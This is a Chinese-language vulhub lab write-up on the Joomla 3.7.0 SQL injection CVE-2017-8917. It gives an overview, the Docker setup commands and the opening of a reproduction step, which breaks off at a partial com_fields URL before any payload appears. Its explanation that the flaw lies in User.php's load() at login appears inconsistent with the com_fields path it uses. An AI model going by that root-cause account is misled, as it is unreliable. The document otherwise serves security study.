Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境

1 漏洞概述

Joomla是一个基于PHP的内容管理系统（CMS），广泛应用于各类网站。2017年，Joomla 3.7.0版本被发现存在SQL注入漏洞（CVE-2017-8917），攻击者可以利用该漏洞对数据库进行未授权查询或操作，可能导致数据泄露、篡改甚至删除。

2 影响范围

• Joomla 3.7.0版本

3 漏洞原理

该漏洞主要源于Joomla 3.7.0版本中对用户输入处理不当，导致攻击者可以在特定条件下向SQL查询中注入恶意代码。具体来说，漏洞存在于libraries/src/User/User.php文件中的load()方法，当用户登录时，会调用此方法来加载用户信息。然而，该方法未能充分过滤用户输入，从而导致了SQL注入的发生。

4 vulhub靶场搭建

进入漏洞文件
cd vulhub/joomla/CVE-2017-8917
部署漏洞环境
docker compose up -d
查看漏洞端口
docker compose PS

启动后访问http://192.168.135.132:8080即可看到Joomla的安装界面和测试数据。

5 漏洞复现

直接访问http://192.168.135.132:8080/index.php?option=com_fields&view=fields&layout